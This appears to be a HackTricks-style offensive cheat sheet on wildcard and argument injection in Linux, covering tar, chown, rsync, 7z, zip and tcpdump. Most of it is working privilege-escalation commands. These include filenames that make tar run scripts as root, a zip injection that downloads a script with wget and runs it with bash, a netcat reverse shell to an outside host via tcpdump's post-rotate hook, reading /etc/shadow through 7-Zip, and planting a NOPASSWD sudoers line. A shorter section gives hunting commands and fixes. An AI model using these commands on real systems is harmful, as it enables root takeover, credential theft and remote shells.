// HackTricks · Linux

Wildcards Spare Tricks

Wildcards Spare Tricks

Wildcard (aka glob) argument injection happens when a privileged script runs a Unix binary such as tar, chown, rsync, zip, 7z, … with an unquoted wildcard like *.
Since the shell expands the wildcard before executing the binary, an attacker who can create files in the working directory can craft filenames that begin with - so they are interpreted as options instead of data, effectively smuggling arbitrary flags or even commands.[6] This page collects the most useful primitives, recent research and modern detections for 2023-2025.

chown / chmod

You can copy the owner/group or permission bits from a reference file by abusing the --reference flag when an option-looking filename is expanded by a wildcard.[6][8][9]

# attacker-controlled directory
touch -- .drf.php
chmod 777 -- .drf.php
touch -- "--reference=.drf.php"   # ← filename becomes an argument

When root later executes something like:

chown -R alice:alice *.php
chmod -R 644 *.php

The expanded --reference=.drf.php overrides the explicit owner/mode, causing matching files to inherit metadata from .drf.php (and, with the setup above, making them writable by the attacker).[6]

PoC & tool: wildpwn (combined attack).[7] See also the classic DefenseCode paper for details.[6]


tar

GNU tar

Execute arbitrary commands by abusing GNU tar’s checkpoint feature and checkpoint actions.[10]

# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"

Once root runs e.g. tar -czf /root/backup.tgz *, shell.sh is executed as root.[10]

bsdtar / macOS compressor override caveat

The default tar on recent macOS (based on libarchive) does not provide GNU tar’s --checkpoint interface, but bsdtar documents —use-compress-program for selecting an external compressor.[11]

# macOS example
touch -- "--use-compress-program=sh"

When a privileged script runs tar -cf backup.tar *, this selects sh through the victim’s PATH and bsdtar starts it as the compressor.[11] This proves option injection but is not, by itself, a reliable arbitrary-command primitive: a wildcard-created filename cannot contain /, and bsdtar supplies archive data rather than an attacker-selected shell command. Code execution additionally requires a controllable executable resolved through PATH or another argument channel that can name a useful program.


rsync

rsync lets you override the remote shell or the remote binary via command-line flags such as -e and --rsync-path.[12]

# attacker-controlled directory
touch -- "-e sh shell.sh"        # -e <cmd> => use <cmd> instead of ssh

If root later archives the directory with rsync -az * backup:/srv/, the injected flag can run a shell through the remote-shell mechanism.[7][12]

PoC: wildpwn (rsync mode).


7-Zip / 7z / 7za

Even when the privileged script defensively prefixes the wildcard with -- (to stop option parsing), the 7-Zip CLI accepts file list files by prefixing the filename with @. Combining that with a symlink lets you exfiltrate arbitrary files.[13]

# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow   root.txt      # file we want to read
touch @root.txt                  # tells 7z to use root.txt as file list

If root executes something like:

7za a /backup/`date +%F`.7z -t7z -snl -- *

7-Zip will attempt to read root.txt (→ /etc/shadow) as a file list and will bail out, printing the contents to stderr.[13]

This survives -- * because the 7-Zip CLI explicitly accepts both regular filenames and @listfiles as positional inputs, so a literal filename such as @root.txt is still treated specially.[13]


zip

Two very practical primitives exist when an application passes user-controlled filenames to zip (either via a wildcard or by enumerating names without --).[2][3]

  • RCE via test hook: -T enables “test archive” and -TT <cmd> replaces the tester with an arbitrary program (long form: --unzip-command <cmd>). If you can inject filenames that start with -, split the flags across distinct filenames so short-options parsing works.[2][3]
# Attacker-controlled filenames (e.g., in an upload directory)
# 1) A file literally named: -T
# 2) A file named: -TT wget 10.10.14.17 -O s.sh; bash s.sh; echo x
# 3) Any benign file to include (e.g., data.pcap)
# When the privileged code runs: zip out.zip <files...>
# zip will execute: wget 10.10.14.17 -O s.sh; bash s.sh; echo x

Notes

  • Do NOT try a single filename like '-T -TT <cmd>' — short options are parsed per character and it will fail. Use separate tokens as shown.[3]
  • If slashes are stripped from filenames by the app, fetch from a bare host/IP (default path /index.html) and save locally with -O, then execute.[3]
  • You can debug parsing with -sc (show processed argv) or -h2 (more help) to understand how your tokens are consumed.[3]

Example (local behavior on zip 3.0).[3]

zip test.zip -T '-TT wget 10.10.14.17/shell.sh' test.pcap    # fails to parse
zip test.zip -T '-TT wget 10.10.14.17 -O s.sh; bash s.sh' test.pcap  # runs wget + bash
  • Data exfil/leak: If the web layer echoes zip stdout/stderr (common with naive wrappers), injected flags like --help or failures from bad options will surface in the HTTP response, confirming command-line injection and aiding payload tuning.[3]

Additional option-injection candidates

When a privileged wrapper expands a writable directory with a wildcard, these documented option hooks are worth checking.[15][16][17]

BinaryFlag to abuseEffect
flock-c <cmd>Pass a command string to a shell
git-c core.sshCommand=<cmd>Use <cmd> instead of SSH for Git fetch/push
scp-S <program>Use an alternate SSH-compatible connection program

These primitives are useful checks beyond the tar/rsync/zip classics.


Hunting vulnerable wrappers and jobs

Recent case studies and detection guidance show that wildcard/argv injection is no longer just a cron + tar problem.[3][4][5] The same bug class keeps appearing in:

  • web features that “download everything as zip/tar” from attacker-controlled upload directories
  • vendor/appliance debug shells that expose a tcpdump wrapper with attacker-controlled filename/filter fields
  • backup or rotation jobs that call tar, rsync, 7z, zip, chown, or chmod on writable directories

Useful triage commands (the pspy invocation uses its documented process/file-event and interval flags).[14]

# Hunt for interesting binaries fed with globs or positional user data
rg -n --hidden --follow \
  '(tar|bsdtar|rsync|zip|7z|7za|chown|chmod|tcpdump).*(\*|\$@|\$\*)' \
  /etc /opt /usr/local /srv 2>/dev/null

# Watch real argv during cron/systemd execution
pspy64 -pf -i 1000 | rg 'tar|rsync|zip|7z|tcpdump|chown|chmod'

# Sudoers rules that constrain one argument but still allow extra flags
sudo -l
rg -n 'tcpdump|zip|tar|rsync' /etc/sudoers /etc/sudoers.d 2>/dev/null

Quick heuristics:

  • -- * is a good fix for many GNU tools, but not for 7z/7za because @listfiles are parsed separately.[13]
  • For zip, look for wrappers that enumerate user-controlled filenames directly; short-option splitting (-T + -TT <cmd>) still works even without a shell glob.[2][3]
  • For tcpdump, pay special attention to wrappers that let you control output file names, rotation settings, or capture-file replay arguments.[18]

tcpdump rotation hooks (-G/-W/-z): RCE via argv injection in wrappers

When a restricted shell or vendor wrapper builds a tcpdump command line by concatenating user-controlled fields (e.g., a “file name” parameter) without strict quoting/validation, you can smuggle extra tcpdump flags. The combo of -G (time-based rotation), -W (limit number of files), and -z <cmd> (post-rotate command) yields arbitrary command execution as the user running tcpdump (often root on appliances).[1][4][18]

Preconditions:

  • You can influence argv passed to tcpdump (e.g., via a wrapper like /debug/tcpdump --filter=... --file-name=<HERE>).[4][18]
  • The wrapper does not sanitize spaces or --prefixed tokens in the file name field.[4]

Classic PoC (executes a reverse shell script from a writable path).[4][18]

# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh

# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
  --file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"

# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234

Details:

  • -G 1 rotates every second, and -W 1 stops after one rotated file; the capture must receive a matching packet before rotation.[18]
  • -z <cmd> runs the post-rotate command once per rotation and passes the closed savefile path as an argument; ensure script/interpreter argument handling matches your payload.[18]

No-removable-media variants:

  • If you have any other primitive to write files (e.g., a separate command wrapper that allows output redirection), drop your script into a known path and trigger -z /path/script.sh; have the script invoke /bin/sh itself if needed.[18]
  • If a vendor wrapper lets you choose the rotated path, audit that path control only in combination with a post-rotate command that interprets its savefile argument; path control alone does not execute file contents.[18]

sudoers: tcpdump with wildcards/additional args → arbitrary write/read and root

Example sudoers anti-pattern:[3]

(ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10 -w/var/cache/captures/*/<GUID-PATTERN> -F/var/cache/captures/filter.<GUID-PATTERN>

The rule leaves several options available under tcpdump’s documented parser:[3][18]

  • The * glob and permissive patterns only constrain the first -w argument. tcpdump accepts multiple -w options; the last one wins.[3][18]
  • The rule doesn’t pin other options, so -Z, -r, -V, etc. are allowed.[3][18]

The relevant primitives are documented below.[3][18]

  • Override destination path with a second -w (first only satisfies sudoers).[3][18]
sudo tcpdump -c10 -w/var/cache/captures/a/ \
  -w /dev/shm/out.pcap \
  -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
  • Path traversal inside the first -w to escape the constrained tree.[3]
sudo tcpdump -c10 \
  -w/var/cache/captures/a/../../../../dev/shm/out \
  -F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
  • Force output ownership with -Z root (creates root-owned files anywhere).[3][18]
sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root \
  -w /dev/shm/root-owned \
  -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
  • Arbitrary-content write by replaying a crafted PCAP via -r (e.g., to drop a sudoers line).[3][18]
Create a PCAP that contains the exact ASCII payload and write it as root
# On attacker box: craft a UDP packet stream that carries the target line
printf '\n\nfritz ALL=(ALL:ALL) NOPASSWD: ALL\n' > sudoers
sudo tcpdump -w sudoers.pcap -c10 -i lo -A udp port 9001 &
cat sudoers | nc -u 127.0.0.1 9001; kill %1

# On victim (sudoers rule allows tcpdump as above)
sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root \
  -r sudoers.pcap -w /etc/sudoers.d/1111-aaaa \
  -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
  • Arbitrary file read/secret leak with -V <file> (interprets a list of savefiles). Error diagnostics often echo lines, leaking content.[3][18]
sudo tcpdump -c10 -w/var/cache/captures/a/ -V /root/root.txt \
  -w /tmp/dummy \
  -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.